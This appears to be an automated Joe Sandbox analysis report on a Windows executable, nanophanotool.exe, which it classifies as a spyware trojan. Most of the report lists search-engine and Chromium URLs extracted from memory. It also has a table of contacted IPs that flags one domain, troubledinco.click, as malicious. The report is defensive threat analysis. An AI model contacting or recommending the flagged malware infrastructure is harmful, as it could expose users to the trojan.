                                          http://www.search.delta-search.com/?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                          • Avira URL Cloud: safe
                                          unknown
                                          http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                            high
                                            https://www.givero.com/suggest?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                              high
                                              http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                high
                                                https://crbug.com/dawn/776NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                  high
                                                  https://yandex.com.tr/gorsel/search?rpt=imageviewhttps://www.yandex.com.tr/chrome/newtabNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                    high
                                                    https://crbug.com/dawn/1289NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                      high
                                                      https://www.so.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                        high
                                                        https://crbug.com/dawn/537NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                          high
                                                          https://dk.search.yahoo.com/favicon.icohttps://dk.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                            high
                                                            https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                              high
                                                              http://www.search.delta-search.com/home?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              unknown
                                                              https://malaysia.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                high
                                                                http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?pNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                  high
                                                                  http://www.conduit.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                    high
                                                                    https://crbug.com/tint.NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                      high
                                                                      https://vn.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                        high
                                                                        https://www.ask.com/web?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                          high
                                                                          https://ph.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                            high
                                                                            https://www.ecosia.org/newtab/NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                              high
                                                                              http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                high
                                                                                https://yastatic.net/lego/_/pDu9OWAQKB0s2J9IojKpiS_Eho.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                  high
                                                                                  https://tw.search.yahoo.com/favicon.icohttps://tw.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                    high
                                                                                    http://www1.delta-search.com/?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    unknown
                                                                                    https://buscador.terra.com.ar/Default.aspx?source=Search&ca=s&query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    unknown
                                                                                    http://www.delfi.lt/paieska/?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                      high
                                                                                      https://www.delfi.lt/favicon.icohttps://www.delfi.lt/paieska/?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                        high
                                                                                        http://search.imesh.net/music?hl=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                          high
                                                                                          https://qc.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                            high
                                                                                            https://sug.so.360.cn/suggest?encodein=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                              high
                                                                                              https://cl.search.yahoo.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                high
                                                                                                https://yandex.kz/images/search/?rpt=imageviewNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                  high
                                                                                                  https://coccoc.com/search#query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                    high
                                                                                                    https://www.yandex.by/chrome/newtabNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                      high
                                                                                                      https://crbug.com/dawn/633NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                        high
                                                                                                        https://ph.search.yahoo.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                          high
                                                                                                          http://www.walla.co.il/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                            high
                                                                                                            https://crbug.com/dawn/1071NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                              high
                                                                                                              https://go.mail.ru/chrome/newtab/NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                high
                                                                                                                https://id.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                  high
                                                                                                                  https://uk.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                    high
                                                                                                                    http://www.neti.ee/cgi-bin/otsing?query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                      high
                                                                                                                      https://petalsearch.com/search?query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                        high
                                                                                                                        https://bugs.chromium.org/p/dawn/issues/detail?id=434timestamp-querySupportNanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                        • Avira URL Cloud: safe
                                                                                                                        unknown
                                                                                                                        http://ok.hu/gfx/favicon.icohttp://ok.hu/katalogus?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                          high
                                                                                                                          https://bugs.chromium.org/p/dawn/issues/detail?id=690NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                            high
                                                                                                                            http://mysearch.sweetpacks.com/?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            unknown
                                                                                                                            https://qc.search.yahoo.com/favicon.icohttps://qc.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            unknown
                                                                                                                            https://ph.search.yahoo.com/favicon.icohttps://ph.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                              high
                                                                                                                              https://oceanhero.today/web?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                high
                                                                                                                                https://crbug.com/newCheckIfAudioThreadIsAliveMedia.AudioThreadStatusCreatingNanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                  high
                                                                                                                                  https://ch.search.yahoo.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                    high
                                                                                                                                    https://crbug.com/dawn/582NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                      high
                                                                                                                                      http://search.conduit.com/Results.aspx?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                        high
                                                                                                                                        https://crbug.com/dawn/1083NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                        • Avira URL Cloud: safe
                                                                                                                                        unknown
                                                                                                                                        https://crbug.com/dawn/343NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                          high
                                                                                                                                          https://crbug.com/dawn/342NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                            high
                                                                                                                                            http://imgs.sapo.pt/images/sapo.icohttp://pesquisa.sapo.pt/?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                              high
                                                                                                                                              https://nl.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                high
                                                                                                                                                https://in.search.yahoo.com/favicon.icohttps://in.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                  high
                                                                                                                                                  https://search.goo.ne.jp/cdn/common/img/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                    high
                                                                                                                                                    https://crbug.com/tint/1003NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                      high
                                                                                                                                                      http://ak.apnstatic.com/media/images/favicon_search-results.icohttp://dts.search-results.com/sr?lng=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                        high
                                                                                                                                                        https://www.sogou.com/images/logo/old/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                          high
                                                                                                                                                          https://in.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                            high
                                                                                                                                                            http://search.imesh.net/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                              high
                                                                                                                                                              https://www.softonic.com/s/NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                high
                                                                                                                                                                https://pe.search.yahoo.com/favicon.icohttps://pe.search.yahoo.com/searchNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                  high
                                                                                                                                                                  https://crbug.com/dawn/792NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                    high
                                                                                                                                                                    http://arianna.libero.it/search/abin/integrata.cgi?query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                      high
                                                                                                                                                                      https://crbug.com/dawn/673NanoTool.exe, 00000002.00000000.1904509604.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF7486D5000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                        high
                                                                                                                                                                        https://m.so.com/s?ie=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                          high
                                                                                                                                                                          http://imgs.sapo.pt/images/sapo.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                            high
                                                                                                                                                                            https://search.privacywall.org/suggest.php?q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                              high
                                                                                                                                                                              https://de.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                high
                                                                                                                                                                                https://nova.rambler.ru/suggest?v=3&query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                                                                unknown
                                                                                                                                                                                https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                  high
                                                                                                                                                                                  https://www.yandex.ua/chrome/newtabNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                    high
                                                                                                                                                                                    https://id.search.yahoo.com/favicon.icoNanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                      high
                                                                                                                                                                                      https://search.daum.net/search?w=tot&DA=JU5&q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                        high
                                                                                                                                                                                        https://search.naver.com/search.naver?ie=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                          high
                                                                                                                                                                                          https://search.daum.net/favicon.icohttps://search.daum.net/search?w=tot&DA=JU5&q=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                            high
                                                                                                                                                                                            http://nigma.ru/themes/nigma/img/favicon.icohttp://nigma.ru/?s=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                              high
                                                                                                                                                                                              http://buscador.terra.es/Default.aspx?source=Search&ca=s&query=NanoTool.exe, 00000002.00000000.1904509604.00007FF748747000.00000002.00000001.01000000.00000009.sdmp, NanoTool.exe, 0000000A.00000000.1945585514.00007FF748747000.00000002.00000001.01000000.00000009.sdmpfalse
                                                                                                                                                                                                high
                                                                                                                                                                                                • No. of IPs < 25%
                                                                                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                                                                                • 75% < No. of IPs
                                                                                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                                                                162.159.61.3
                                                                                                                                                                                                chrome.cloudflare-dns.comUnited States
                                                                                                                                                                                                13335CLOUDFLARENETUSfalse
                                                                                                                                                                                                159.100.18.192
                                                                                                                                                                                                unknownGermany
                                                                                                                                                                                                44066DE-FIRSTCOLOwwwfirst-colonetDEfalse
                                                                                                                                                                                                172.67.163.8
                                                                                                                                                                                                troubledinco.clickUnited States
                                                                                                                                                                                                13335CLOUDFLARENETUStrue
                                                                                                                                                                                                142.250.181.68
                                                                                                                                                                                                www.google.comUnited States
                                                                                                                                                                                                15169GOOGLEUSfalse
                                                                                                                                                                                                IP
                                                                                                                                                                                                192.168.2.16
                                                                                                                                                                                                Joe Sandbox version:41.0.0 Charoite
                                                                                                                                                                                                Analysis ID:1572252
                                                                                                                                                                                                Start date and time:2024-12-10 10:16:21 +01:00
                                                                                                                                                                                                Joe Sandbox product:CloudBasic
                                                                                                                                                                                                Overall analysis duration:0h 10m 36s
                                                                                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                                                                                Report type:full
                                                                                                                                                                                                Cookbook file name:default.jbs
                                                                                                                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                                                Number of analysed new started processes analysed:71
                                                                                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                                                                                Number of existing processes analysed:0
                                                                                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                                                                                Number of injected processes analysed:0
                                                                                                                                                                                                Technologies:
                                                                                                                                                                                                • EGA enabled
                                                                                                                                                                                                • AMSI enabled
                                                                                                                                                                                                Analysis Mode:default
                                                                                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                                                                                Sample name:nanophanotool.exe
                                                                                                                                                                                                Detection:MAL
                                                                                                                                                                                                Classification:mal48.troj.spyw.evad.winEXE@105/193@5/5
                                                                                                                                                                                                Cookbook Comments:
                                                                                                                                                                                                • Found application associated with file extension: .exe
                                                                                                                                                                                                • Override analysis time to 240000 for current running targets taking high CPU consumption
                                                                                                                                                                                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                                                                                • Excluded IPs from analysis (whitelisted): 142.251.40.99, 52.149.20.212, 23.218.208.109, 13.107.246.63
                                                                                                                                                                                                • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                                                • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                                                                                                • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                                                • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                                                                                • VT rate limit hit for: nanophanotool.exe
                                                                                                                                                                                                TimeTypeDescription
                                                                                                                                                                                                04:17:32API Interceptor1x Sleep call for process: dllhost.exe modified
                                                                                                                                                                                                04:17:41API Interceptor353x Sleep call for process: powershell.exe modified
                                                                                                                                                                                                04:19:39API Interceptor1x Sleep call for process: RepublicChoir.exe modified
                                                                                                                                                                                                04:19:42API Interceptor8x Sleep call for process: Ford.com modified
                                                                                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
